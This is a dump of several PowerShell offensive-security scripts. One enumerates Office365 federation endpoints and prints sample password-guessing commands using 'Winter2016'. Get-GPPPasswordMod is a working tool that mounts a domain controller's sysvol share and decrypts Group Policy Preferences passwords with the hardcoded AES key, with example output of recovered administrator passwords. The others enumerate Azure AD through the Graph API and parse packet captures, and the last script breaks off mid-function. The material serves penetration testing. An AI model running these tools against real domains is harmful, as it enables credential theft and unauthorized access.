24 | .LINK
25 | https://blog.netspi.com/using-powershell-identify-federated-domains/
26 | http://www.economyofmechanism.com/office365-authbypass.html
27 | https://blogs.msdn.microsoft.com/besidethepoint/2012/10/17/request-adfs-security-token-with-powershell/
28 | https://msdn.microsoft.com/en-us/library/jj151815.aspx
29 | https://technet.microsoft.com/en-us/library/dn568015.aspx
30 | #>
31 |
32 | function Get-FederationEndpoint{
33 |
34 | [CmdletBinding()]
35 | Param(
36 | [Parameter(Mandatory=$true,
37 | HelpMessage="Domain name to get the ADFS endpoint for.")]
38 | [string]$domain,
39 |
40 | [Parameter(Mandatory=$false,
41 | HelpMessage="Flag for authentication command output.")]
42 | [switch]$cmd
43 | )
44 |
45 | # "Test" Email
46 | $email = "test@"+$domain
47 |
48 | # Microsoft URL to get the JSON response from
49 | $url = "https://login.microsoftonline.com/common/userrealm/?user="+$email+"&api-version=2.1&checkForMicrosoftAccount=true";
50 |
51 | # Create data table to house results
52 | $EmailTestResults = new-object system.data.datatable
53 | $EmailTestResults.columns.add("Domain") | Out-Null
54 | $EmailTestResults.columns.add("InternalDomain") | Out-Null
55 | $EmailTestResults.columns.add("Type") | Out-Null
56 | $EmailTestResults.columns.add("BrandName") | Out-Null
57 | $EmailTestResults.columns.add("SSOEndpoints") | Out-Null
58 | $EmailTestResults.columns.add("AuthURL") | Out-Null
59 |
60 | try{
61 | # Make the request
62 | $JSON = Invoke-RestMethod -Uri $url
63 | }
64 | catch{
65 | Write-Host "`nThe Request out to Microsoft failed."
66 | }
67 |
68 | # Handle the Response
69 | $NameSpaceType = $JSON[0].NameSpaceType
70 |
71 | if ($NameSpaceType -eq "Managed"){
72 |
73 | #Add data to the table
74 | $EmailTestResults.Rows.Add($JSON[0].DomainName, "NA", "Managed", $JSON[0].FederationBrandName, "NA", "NA") | Out-Null
75 |
76 | if ($cmd){
77 |
78 | # Sample command
79 | Write-Host "`nDomain is managed by Microsoft, try guessing creds this way:`n`n`t`$msolcred = get-credential`n`tconnect-msolservice -credential `$msolcred"
80 | # Check if AzureAD module is installed
81 | if (Get-Module -Name MsOnline){}
82 | else{Write-Host "`n`t*Requires AzureAD PowerShell module to be installed and loaded - https://msdn.microsoft.com/en-us/library/jj151815.aspx"}
83 | }
84 | }
85 | ElseIf ($NameSpaceType -eq "Federated"){
86 |
87 | # Parse Stuff
88 | $username = $email.Split("@")[0]
89 | $domain = $JSON[0].DomainName
90 | $ADFSBaseUri = [string]$JSON[0].AuthURL.Split("/")[0]+"//"+[string]$JSON[0].AuthURL.Split("/")[2]+"/"
91 | $AppliesTo = $ADFSBaseUri+"adfs/services/trust/13/usernamemixed"
92 |
93 | try {
94 | #Goes a step further to grab internal domain from ADFS server (if supported)
95 | $domainRequest = Invoke-WebRequest -Uri $JSON[0].AuthURL
96 | $domainRequest.RawContent -match "userNameValue = '(.*?)\\\\' \+ userName\." | Out-Null
97 | $realDomain = $Matches[1]
98 | }
99 | catch{$realDomain = "NA"}
100 |
101 | $SSOSitesURL = $ADFSBaseUri+"adfs/ls/idpinitiatedsignon.aspx?"
102 |
103 | try {
104 | #Goes a step further to grab SSO Endpoints from ADFS server (if supported)
105 | $SSORequest = Invoke-WebRequest -Uri $SSOSitesURL
106 | $endpoints = @()
107 | foreach ($element in $SSORequest.AllElements) {if ($element.tagName -match "OPTION"){$endpoints += $element.outerText}}
108 | if ($endpoints.Length -eq 0){$endpoints = "NA"}
109 | }
110 | catch{$endpoints = "NA"}
111 |
112 | #Add data to the table
113 | $EmailTestResults.Rows.Add($JSON[0].DomainName, $realDomain, "Federated", $JSON[0].FederationBrandName, $endpoints -join ', ', $JSON[0].AuthURL) | Out-Null
114 |
115 |
116 | if ($cmd){
117 |
118 | # Write out the sample
119 | Write-Host "`nMake sure you use the correct Username and Domain parameters when you try to authenticate!`n`nAuthentication Command:`nInvoke-ADFSSecurityTokenRequest -ClientCredentialType UserName -ADFSBaseUri"$ADFSBaseUri" -AppliesTo "$AppliesTo" -UserName '"$username"' -Password 'Winter2016' -Domain '"$domain"' -OutputType Token -SAMLVersion 2 -IgnoreCertificateErrors"
120 | # Check if Invoke-ADFSSecurityTokenRequest is loaded
121 | try {Get-Command -Name Invoke-ADFSSecurityTokenRequest -ErrorAction Stop}
122 | catch{Write-Host `n`n'*Requires the command imported from here - https://gallery.technet.microsoft.com/scriptcenter/Invoke-ADFSSecurityTokenReq-09e9c90c'}
123 | }
124 | }
125 | Else{
126 |
127 | # If the domain has no federation information available from Microsoft
128 | $EmailTestResults.Rows.Add("NA", "NA", "NA", "NA", "NA", "NA") | Out-Null
129 | }
130 |
131 | Return $EmailTestResults
132 | }
133 |
134 |
--------------------------------------------------------------------------------
/Get-GPPPasswordMod.ps1:
--------------------------------------------------------------------------------
1 | function Get-GPPPasswordMod
2 | {
3 | <#
4 | .SYNOPSIS
5 |
6 | Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
7 |
8 | PowerSploit Function: Get-GPPPassword
9 | Author: Chris Campbell (@obscuresec)
10 | Shabby Mods: Scott Sutherland (@_nullbind)
11 | License: BSD 3-Clause
12 | Required Dependencies: None
13 | Optional Dependencies: None
14 | Version: 2.4.2
15 |
16 | .DESCRIPTION
17 |
18 | Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
19 |
20 | Modification Summary
21 | - Added verbose statusing.
22 | - Added option to allow users to provide alternative credentials for authenticating to domain controllers not associated with the current user/domain.
23 | - Modified some of the parsing logic to output one credential at a time.
24 | - Added an excessive amount of comments to remind myself how PowerShell works :)
25 |
26 | .EXAMPLE
27 |
28 | Below is the standard command usage as a domain user.
29 |
30 | PS C:\> Get-GPPPassword
31 |
32 | NewName :
33 | Changed : 2015-05-05 16:49:19
34 | UserName : test
35 | CPassword : wWHIrHyXsbFpBhpQ/fMKbwEEg3Ko0Es+RskCj/W6F8I
36 | Password : password
37 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\DataSources\DataSources.xml
38 |
39 | NewName :
40 | Changed : 2015-05-05 16:46:28
41 | UserName : myuser
42 | CPassword : OvKsuaNQPUAnLU4z8wzxe8Q1teovDkwdcJfI+rZb+eM
43 | Password : mypassword
44 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Drives\Drives.xml
45 |
46 | NewName :
47 | Changed : 2015-05-07 00:55:10
48 | UserName : supershareuser
49 | CPassword : 3uDWVlCID77BN5/bo5T5YLqZWIrj8yNKngzGhpuHO44
50 | Password : superpass
51 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Drives\Drives.xml
52 |
53 | NewName : NotTheAdminUser
54 | Changed : 2015-05-08 01:16:36
55 | UserName : Administrator
56 | CPassword : zkS7m3XryG3Mwr/HOHT59n8D4YqouI/idF01L9gjpjw
57 | Password : ********11
58 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\Groups.xml
59 |
60 | NewName : TestAdmin
61 | Changed : 2015-05-08 00:58:49
62 | UserName : MyAdministrator
63 | CPassword : AzVJmXh/J9KrU5n0czX1uAjyl43GRDc33Gnizx/zYpE
64 | Password : testpass
65 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\Groups.xml
66 |
67 | NewName :
68 | Changed : 2015-05-05 16:51:01
69 | UserName : administrator
70 | CPassword : upTiWyCZN6O+ljt30DpKoO11LltmtQzgY29yzKRyjtY
71 | Password : SuperPassword!
72 | File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\ScheduledTasks\ScheduledTasks.xml
73 |
74 | .EXAMPLE
75 |
76 | In the example below the verbose switch is used to show additional status information and return a list of passwords. Also, the exmaple
77 | shows how to target a remote domain controller using alternative domain credentials from a system not associated with the domain of the
78 | domain controller.
79 |
80 | PS C:\> Get-GPPPasswordMod -Verbose -DomainController 10.2.9.109 -Credential test.domain\administrator | Select-Object Password
81 | VERBOSE: Creating temp drive bgzimwykdt mapped to \\10.2.9.109\sysvol...
82 | VERBOSE: Gathering GPP xml files from \\10.2.9.109\sysvol...
83 | VERBOSE: Paring content from GPP xml files...
84 | VERBOSE: DataSources.xml found, processing...
85 | VERBOSE: Drives.xml found, processing...
86 | VERBOSE: Groups.xml found, processing...
87 | VERBOSE: Printers.xml found, processing...
88 | VERBOSE: ScheduledTasks.xml found, processing...
89 | VERBOSE: Removing temp drive bgzimwykdt...
90 |
91 | Password
92 | --------
93 | password
94 | mypassword
95 | superpass
96 | ********11
97 | testpass
98 | SuperPassword!
99 |
100 | .LINK
101 |
102 | http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
103 | https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
104 | http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
105 | http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
106 |
107 | #>
108 | [CmdletBinding(DefaultParametersetName="Default")]
109 | Param(
110 |
111 | [Parameter(Mandatory=$false,
112 | HelpMessage="Credentials to use when connecting to a Domain Controller.")]
113 | [System.Management.Automation.PSCredential]
114 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
115 |
116 | [Parameter(Mandatory=$false,
117 | HelpMessage="Domain controller for Domain and Site that you want to query against.")]
118 | [string]$DomainController
119 | )
120 |
121 | Begin
122 | {
123 |
124 | # Ensure that machine is domain joined and script is running as a domain account, or a credential has been provided
125 | if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) -and (-not $Credential) ) {
126 | throw 'Machine is not a domain member or User is not a member of the domain.'
127 | return
128 | }
129 |
130 | # ----------------------------------------------------------------
131 | # Define helper function that decodes and decrypts password
132 | # ----------------------------------------------------------------
133 | function Get-DecryptedCpassword {
134 | [CmdletBinding()]
135 | Param (
136 | [string] $Cpassword
137 | )
138 |
139 | try {
140 | #Append appropriate padding based on string length
141 | $Mod = ($Cpassword.length % 4)
142 |
143 | switch ($Mod) {
144 | '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
145 | '2' {$Cpassword += ('=' * (4 - $Mod))}
146 | '3' {$Cpassword += ('=' * (4 - $Mod))}
147 | }
148 |
149 | $Base64Decoded = [Convert]::FromBase64String($Cpassword)
150 |
151 | #Create a new AES .NET Crypto Object
152 | $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
153 | [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
154 | 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
155 |
156 | #Set IV to all nulls to prevent dynamic generation of IV value
157 | $AesIV = New-Object Byte[]($AesObject.IV.Length)
158 | $AesObject.IV = $AesIV
159 | $AesObject.Key = $AesKey
160 | $DecryptorObject = $AesObject.CreateDecryptor()
161 | [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
162 |
163 | return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
164 | }
165 |
166 | catch {Write-Error $Error[0]}
167 | }
168 |
169 | # ----------------------------------------------------------------
170 | # Setup data table to store GPP Information
171 | # ----------------------------------------------------------------
172 | $TableGPPPasswords = New-Object System.Data.DataTable
173 | $TableGPPPasswords.Columns.Add('NewName') | Out-Null
174 | $TableGPPPasswords.Columns.Add('Changed') | Out-Null
175 | $TableGPPPasswords.Columns.Add('UserName') | Out-Null
176 | $TableGPPPasswords.Columns.Add('CPassword') | Out-Null
177 | $TableGPPPasswords.Columns.Add('Password') | Out-Null
178 | $TableGPPPasswords.Columns.Add('File') | Out-Null
179 |
180 | # ----------------------------------------------------------------
181 | # Authenticate to DC, mount sysvol share, & dump xml file contents
182 | # ----------------------------------------------------------------
183 |
184 | # Set target DC
185 | if($DomainController){
186 | $TargetDC = "\\$DomainController"
187 | }else{
188 | $TargetDC = $env:LOGONSERVER
189 | }
190 |
191 | # Create randomish name for dynamic mount point
192 | $set = "abcdefghijklmnopqrstuvwxyz".ToCharArray();
193 | $result += $set | Get-Random -Count 10
194 | $DriveName = [String]::Join("",$result)
195 | $DrivePath = "$TargetDC\sysvol"
196 |
197 | # Map a temp drive to the DC sysvol share
198 | Write-Verbose "Creating temp drive $DriveName mapped to $DrivePath..."
199 | If ($Credential.UserName){
200 |
201 | # Mount the drive
202 | New-PSDrive -PSProvider FileSystem -Name $DriveName -Root $DrivePath -Credential $Credential| Out-Null
203 | }else{
204 |
205 | # Create a temp drive mapping
206 | New-PSDrive -PSProvider FileSystem -Name $DriveName -Root $DrivePath | Out-Null
207 | }
208 | }
209 |
210 | Process
211 | {
212 | # Verify temp drive mounted
213 | $DriveCheck = Get-PSDrive | Where { $_.name -like "$DriveName"}
214 | if($DriveCheck) {
215 | Write-Verbose "$Drivename created."
216 | }else{
217 | Write-Verbose "Failed to mount $DriveName to $DrivePath."
218 | return
219 | }
220 |
221 | # ----------------------------------------------------------------
222 | # Find, download, parse, decrypt, and display results
223 | # ----------------------------------------------------------------
224 |
225 | # Setup temp drive name
226 | $DriveLetter = $DriveName+":"
227 |
228 | # Get a list of GGP config files
229 | Write-Verbose "Gathering GPP xml files from $DrivePath..."
230 | $XMlFiles = Get-ChildItem -Path $DriveLetter -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
231 |
232 | # Parse GPP config files
233 | Write-Verbose "Paring content from GPP xml files..."
234 | $XMlFiles |
235 | ForEach-Object {
236 | $FileFullName = $_.fullname
237 | $FileName = $_.Name
238 | [xml]$FileContent = Get-Content -Path "$FileFullName"
239 |
240 | # Process Drives.xml
241 | if($FileName -eq "Drives.xml"){
242 |
243 | Write-Verbose "$FileName found, processing..."
244 |
245 | $FileContent.Drives.Drive |
246 | ForEach-Object {
247 | [string]$Username = $_.properties.username
248 | [string]$CPassword = $_.properties.cpassword
249 | [string]$Password = Get-DecryptedCpassword $Cpassword
250 | [datetime]$Changed = $_.changed
251 | [string]$NewName = ""
252 |
253 | # Add the results to the data table
254 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
255 | }
256 | }
257 |
258 | # Process Groups.xml
259 | if($FileName -eq "Groups.xml"){
260 |
261 | Write-Verbose "$FileName found, processing..."
262 |
263 | $Filecontent.Groups.User |
264 | ForEach-Object {
265 | [string]$Username = $_.properties.username
266 | [string]$CPassword = $_.properties.cpassword
267 | [string]$Password = Get-DecryptedCpassword $Cpassword
268 | [datetime]$Changed = $_.changed
269 | [string]$NewName = $_.properties.newname
270 |
271 | # Add the results to the data table
272 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
273 | }
274 | }
275 |
276 | # Process Services.xml
277 | if($FileName -eq "Services.xml"){
278 |
279 | Write-Verbose "$FileName found, processing..."
280 |
281 | $Filecontent.NTServices.NTService |
282 | ForEach-Object {
283 | [string]$Username = $_.properties.accountname
284 | [string]$CPassword = $_.properties.cpassword
285 | [string]$Password = Get-DecryptedCpassword $Cpassword
286 | [datetime]$Changed = $_.changed
287 | [string]$NewName = ""
288 |
289 | # Add the results to the data table
290 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
291 | }
292 | }
293 |
294 | # Process ScheduledTasks.xml
295 | if($FileName -eq "ScheduledTasks.xml"){
296 |
297 | Write-Verbose "$FileName found, processing..."
298 |
299 | $Filecontent.ScheduledTasks.Task |
300 | ForEach-Object {
301 | [string]$Username = $_.properties.runas
302 | [string]$CPassword = $_.properties.cpassword
303 | [string]$Password = Get-DecryptedCpassword $Cpassword
304 | [datetime]$Changed = $_.changed
305 | [string]$NewName = ""
306 |
307 | # Add the results to the data table
308 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
309 | }
310 | }
311 |
312 | # Process DataSources.xml
313 | if($FileName -eq "DataSources.xml"){
314 |
315 | Write-Verbose "$FileName found, processing..."
316 |
317 | $Filecontent.DataSources.DataSource |
318 | ForEach-Object {
319 | [string]$Username = $_.properties.username
320 | [string]$CPassword = $_.properties.cpassword
321 | [string]$Password = Get-DecryptedCpassword $Cpassword
322 | [datetime]$Changed = $_.changed
323 | [string]$NewName = ""
324 |
325 | # Add the results to the data table
326 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
327 | }
328 | }
329 |
330 | # Process Printers.xml
331 | if($FileName -eq "Printers.xml"){
332 |
333 | Write-Verbose "$FileName found, processing..."
334 |
335 | $Filecontent.Printers.SharedPrinter |
336 | ForEach-Object {
337 | [string]$Username = $_.properties.username
338 | [string]$CPassword = $_.properties.cpassword
339 | [string]$Password = Get-DecryptedCpassword $Cpassword
340 | [datetime]$Changed = $_.changed
341 | [string]$NewName = ""
342 |
343 | # Add the results to the data table
344 | $TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
345 | }
346 | }
347 |
348 | }
349 |
350 | # Remove the temp drive mapping
351 | Write-Verbose "Removing temp drive $DriveName..."
352 | Remove-PSDrive $DriveName
353 |
354 | # Check if anything was found
355 | if ( -not $XMlFiles ) {
356 | throw 'No preference files found.'
357 | return
358 | }
359 |
360 | # Display results
361 | $TableGPPPasswords
362 | }
363 | }
364 |
--------------------------------------------------------------------------------
/Get-GraphAPIToken.ps1:
--------------------------------------------------------------------------------
1 | #https://blogs.technet.microsoft.com/paulomarques/2016/03/21/working-with-azure-active-directory-graph-api-from-powershell/
2 |
3 | # Work in Progress
4 |
5 | function Get-GraphAPIToken
6 | {
7 | param
8 | (
9 | [Parameter(Mandatory=$true)]
10 | $TenantName,
11 | [Parameter(Mandatory=$false)]
12 | $UserName,
13 | [Parameter(Mandatory=$false)]
14 | $Password,
15 | [Parameter(Mandatory=$false)]
16 | $Credential
17 | )
18 |
19 | $adal = "${env:ProgramFiles(x86)}\Microsoft SDKs\Azure\PowerShell\ServiceManagement\Azure\Services\Microsoft.IdentityModel.Clients.ActiveDirectory.dll"
20 | $adalforms = "${env:ProgramFiles(x86)}\Microsoft SDKs\Azure\PowerShell\ServiceManagement\Azure\Services\Microsoft.IdentityModel.Clients.ActiveDirectory.WindowsForms.dll"
21 | [System.Reflection.Assembly]::LoadFrom($adal) | Out-Null
22 | [System.Reflection.Assembly]::LoadFrom($adalforms) | Out-Null
23 | $clientId = "1950a258-227b-4e31-a9cf-717495945fc2"
24 | $redirectUri = "urn:ietf:wg:oauth:2.0:oob"
25 | $resourceAppIdURI = "https://graph.windows.net"
26 | $authority = "https://login.windows.net/$TenantName"
27 |
28 | #$creds = New-Object "Microsoft.IdentityModel.Clients.ActiveDirectory.UserCredential" -ArgumentList $UserName,$Password
29 |
30 | $authContext = New-Object "Microsoft.IdentityModel.Clients.ActiveDirectory.AuthenticationContext" -ArgumentList $authority
31 | $authResult = $authContext.AcquireToken($resourceAppIdURI, $clientId, $redirectUri, "auto")
32 | return $authResult
33 | }
34 |
35 |
36 | # Full resource list - https://msdn.microsoft.com/library/azure/ad/graph/api/api-catalog
37 |
38 | function Get-GraphData{
39 | param
40 | (
41 | [Parameter(Mandatory=$true)]
42 | $Token,
43 | [Parameter(Mandatory=$true)]
44 | $Tenant,
45 | [Parameter(Mandatory=$true)]
46 | [ValidateSet('contacts', 'directoryRoles', 'domains', 'groups', 'subscribedSkus', 'servicePrincipalsByAppId', 'tenantDetails', 'users')]
47 | $Resource,
48 | [Parameter(Mandatory=$false)]
49 | $Extended
50 | )
51 |
52 | $authHeader = @{
53 |
54 | 'Content-Type'='application\json'
55 |
56 | 'Authorization'=$Token.CreateAuthorizationHeader()
57 |
58 | }
59 |
60 | $uri = "https://graph.windows.net/$tenant/$($resource)?api-version=1.6"
61 | $uriPage = "https://graph.windows.net/$tenant/"
62 |
63 |
64 | #return (Invoke-RestMethod -Uri $uri -Headers $authHeader -Method Get).value
65 | $method = (Invoke-RestMethod -Uri $uri -Headers $authHeader -Method Get)
66 |
67 | $output = $method.value
68 |
69 | #https://blog.kloud.com.au/2016/08/10/enumerating-all-usersgroupscontacts-in-an-azure-tenant-using-powershell-and-the-azure-graph-api-odata-nextlink-paging-function/
70 |
71 |
72 | while($method.'odata.nextLink')
73 | {
74 | $nextLink = $method.'odata.nextLink'+'&api-version=1.6'
75 |
76 | $method = (Invoke-RestMethod -Uri $uriPage$nextLink -Headers $authHeader -Method Get)
77 |
78 | $output += $method.value
79 | }
80 |
81 | return $output
82 | }
--------------------------------------------------------------------------------
/Get-IpInfoFromCap.ps1:
--------------------------------------------------------------------------------
1 | # Author: scott sutherland
2 | # This script uses tshark to parse the src.ip, dst.ip, and dst.port from a provided .cap file. It then looks up owner information.
3 | # Add threading (its super slow)
4 | # Add udp parsing
5 | # Note: currently udp ports are not imported and show up as 0
6 |
7 | # Example commands
8 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1
9 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1
10 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1 | Out-GridView
11 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1 | Export-Csv c:\temp\output.csv
12 | # Get-IpInfoFromCap -capPath "c:\temp\packetcapture.cap" -Verbose -IpFilter 1.1.1.1 -IpAPI
13 |
14 | Function Get-IpInfoFromCap{
15 |
16 | [CmdletBinding()]
17 | param
18 | (
19 | [Parameter(Mandatory=$True, ValueFromPipeline = $true, HelpMessage="Cap file path.")]
20 | [string]$capPath,
21 | [string]$IpFilter,
22 | [int]$Port,
23 | [string]$TsharkPath,
24 | [switch]$IpAPI
25 | )
26 |
27 | Begin
28 | {
29 | # Set tshark path
30 | if( -not $TsharkPath){
31 | $TsharkPath = 'C:\Program Files\Wireshark\tshark.exe'
32 | }
33 |
34 | # Verify tshark path
35 | If ((Test-Path $TsharkPath) -eq $True) {
36 | Write-Verbose "The tshark path is valid: $TsharkPath"
37 | }else{
38 | Write-Host "The tshark path is invalid: $TsharkPath"
39 | return
40 | }
41 |
42 | # Port table
43 | $TblPortInfo = New-Object System.Data.DataTable
44 | $TblPortInfo.Columns.Add("SrcIp") | Out-Null
45 | $TblPortInfo.Columns.Add("DstIp") | Out-Null
46 | $TblPortInfo.Columns.Add("Ports") | Out-Null
47 |
48 | # IP info table
49 | $TblIPInfo = new-object System.Data.DataTable
50 | $TblIPInfo.Columns.Add("IpDest") | Out-Null
51 | $TblIPInfo.Columns.Add("IpSrc") | Out-Null
52 | $TblIPInfo.Columns.Add("Org") | Out-Null
53 | $TblIPInfo.Columns.Add("Owner") | Out-Null
54 | $TblIPInfo.Columns.Add("ArinRef") | Out-Null
55 | $TblIPInfo.Columns.Add("StartRange") | Out-Null
56 | $TblIPInfo.Columns.Add("EndRange") | Out-Null
57 | $TblIPInfo.Columns.Add("Country") | Out-Null
58 | $TblIPInfo.Columns.Add("City") | Out-Null
59 | $TblIPInfo.Columns.Add("Zip") | Out-Null
60 | $TblIPInfo.Columns.Add("ISP") | Out-Null
61 |
62 | # Output table
63 | $OutputTbl = new-object System.Data.DataTable
64 | $OutputTbl.Columns.Add("IpSrc") | Out-Null
65 | $OutputTbl.Columns.Add("IpDest") | Out-Null
66 | $OutputTbl.Columns.Add("IpOrg") | Out-Null
67 | $OutputTbl.Columns.Add("Owner") | Out-Null
68 | $OutputTbl.Columns.Add("ArinRef") | Out-Null
69 | $OutputTbl.Columns.Add("StartRange") | Out-Null
70 | $OutputTbl.Columns.Add("EndRange") | Out-Null
71 | $OutputTbl.Columns.Add("Country") | Out-Null
72 | $OutputTbl.Columns.Add("City") | Out-Null
73 | $OutputTbl.Columns.Add("Zip") | Out-Null
74 | $OutputTbl.Columns.Add("ISP") | Out-Null
75 | $OutputTbl.Columns.Add("Ports") | Out-Null
76 | }
77 |
78 | Process
79 | {
80 | # Set cap file path
81 | if( -not $capPath){
82 | Write-Host "No cap file provided."
83 | return
84 | }
85 |
86 | # Verify cap path
87 | If ((Test-Path $capPath) -eq $True) {
88 | Write-Verbose "The cap path is valid: $capPath"
89 | }else{
90 | Write-Host "The cap path is invalid: $capPath"
91 | return
92 | }
93 |
94 | # Set DstIp filter
95 | if(-not $IpFilter){
96 | $CurrentIpFilter = ""
97 | }else{
98 | $CurrentIpFilter = "-Yip.addr==$IpFilter"
99 | }
100 |
101 | # Execute tshark command (parse cap)
102 | Write-Verbose "Parsing cap file to variable"
103 | try{
104 |
105 | #$TsharkCmdOutput = &$TsharkPath -r $capPath -T fields -e ip.src -e ip.dst -e tcp.dstport $DstIpFilter -E header=y -E separator=`, -E occurrence=f
106 | $a1 = "-r$capPath"
107 | $a2 = "-Tfields"
108 | $a3 = "-eip.src"
109 | $a4 = "-eip.dst"
110 | $a5 = "-etcp.dstport"
111 | $a7 = "-Eheader=y"
112 | $a8 = "-Eseparator=`,"
113 | $a9 = "-Eoccurrence=f"
114 |
115 | $TsharkCmdOutput = &$TsharkPath $a1 $a2 $a3 $a4 $a5 $CurrentIpFilter $a7 $a8 $a9
116 |
117 | }catch{
118 | Write-Warning "Bummer. Something went wrong..."
119 | return
120 | }
121 |
122 | # Import data tshark parsed
123 | $CapData = ConvertFrom-Csv -InputObject $TsharkCmdOutput
124 |
125 | # Import all parsed data (SrcIp, DstIp, Port) into $TblPortInfo
126 | $capDataIpOnly = $CapData | select ip.src,ip.dst -Unique | Sort-Object ip.src | select -Skip 1
127 |
128 | # Status user
129 | Write-Host "Getting IP information..."
130 |
131 | # Lookup source IP owner and location
132 | $capDataIpOnly | ForEach-Object {
133 |
134 | # Get source IP
135 | $IpAddress = $_.'ip.src'
136 | $CurrentDest = $_.'ip.dst'
137 |
138 | # Send whois request to arin via restful api
139 | $web = new-object system.net.webclient
140 | [xml]$results = $web.DownloadString("http://whois.arin.net/rest/ip/$IpAddress")
141 |
142 |
143 | # Parse data from responses
144 | $IpOwner = $results.net.name
145 | $IpOrg = $results.net.orgRef.name
146 | $IpStart = $results.net.startAddress
147 | $IpEnd = $results.net.endaddress
148 | $ArinRef = "http://whois.arin.net/rest/ip/$IpAddress"
149 | $IpCountry = ""
150 | $IpCity = ""
151 | $IpZip = ""
152 | $IpISP = ""
153 |
154 | # Put results in the data table
155 | $TblIPInfo.Rows.Add("$CurrentDest",
156 | "$IpAddress",
157 | "$IpOrg",
158 | "$IpOwner",
159 | "$ArinRef",
160 | "$IpStart",
161 | "$IpEnd",
162 | "$IpCountry",
163 | "$IpCity",
164 | "$IpZip",
165 | "$IpISP") | Out-Null
166 |
167 | # status the user
168 | Write-Verbose "Dest:$CurrentDest Src:$IpAddress Org: $IpOrg Owner: $IpOwner ($IpCountry) ($IpStart -$IpEnd)"
169 |
170 | }
171 |
172 | # Save Output
173 | $TblIPInfo | Export-Csv -NoTypeInformation ./ipinfo.csv
174 |
175 | # Status user
176 | Write-Host "Consolidating ports..."
177 |
178 | # Get list of unique src ips
179 | $CapSrcIps = $CapData | select ip.src,ip.dst -Unique | Sort-Object ip.src
180 |
181 | # Iterate through each IP
182 | $CapSrcIps |
183 | ForEach-Object{
184 |
185 | # Combine ports with list
186 | $SourceIp = $_.'ip.src'
187 | $DestinationIp = $_.'ip.dst'
188 |
189 | # loop through full list
190 | $CapData | select ip.src,ip.dst,tcp.dstport -Unique |
191 | ForEach-Object{
192 |
193 | $Src = $_.'ip.src'
194 | $Dst = $_.'ip.dst'
195 | $Port = $_.'tcp.dstport'
196 |
197 | # check if it is current ip
198 | if(($SourceIp -eq $Src) -and ($DestinationIp -eq $Dst)){
199 |
200 | # build port list
201 | $ports = "$ports$port,"
202 | $GoodSrc = $Src
203 | $GoodDst = $Dst
204 | $GoodPort = $Port
205 | }
206 | }
207 |
208 | # remove trailing
209 | $ports = $ports.Substring(0,$ports.Length-1)
210 |
211 | # Add ip info to final list
212 | $TblPortInfo.Rows.Add($GoodSrc,$GoodDst,$ports) | out-null
213 |
214 | # clear port list
215 | $ports = ""
216 | }
217 |
218 | # Status user
219 | Write-Host "Merging records..."
220 |
221 | # Combine Lists
222 | $TblPortInfo |
223 | ForEach-Object{
224 |
225 | # Get port information
226 | $PortIpSrc = $_.SrcIp
227 | $PortIpDst = $_.DstIp
228 | $PortIpPorts = $_.Ports
229 |
230 | # Get IP information & merge
231 | $TblIPInfo |
232 | ForEach-Object{
233 |
234 | # Get ip info
235 | $IpInfoIpSrc = $_.IpSrc
236 | $IpInfoIpDst = $_.IpDest
237 | $IpOrg = $_.IpOrg
238 | $IpInfoOwner = $_.Owner
239 | $ArinRef = $_.ArinRef
240 | $IpInfoStartRange = $_.StartRange
241 | $IpInfoEndRange = $_.EndRange
242 | $IpInfoCountry = $_.Country
243 | $IpInfoCity = $_.City
244 | $IpInfoZip = $_.Zip
245 | $IpInfoISP = $_.ISP
246 |
247 | # Check for ip match
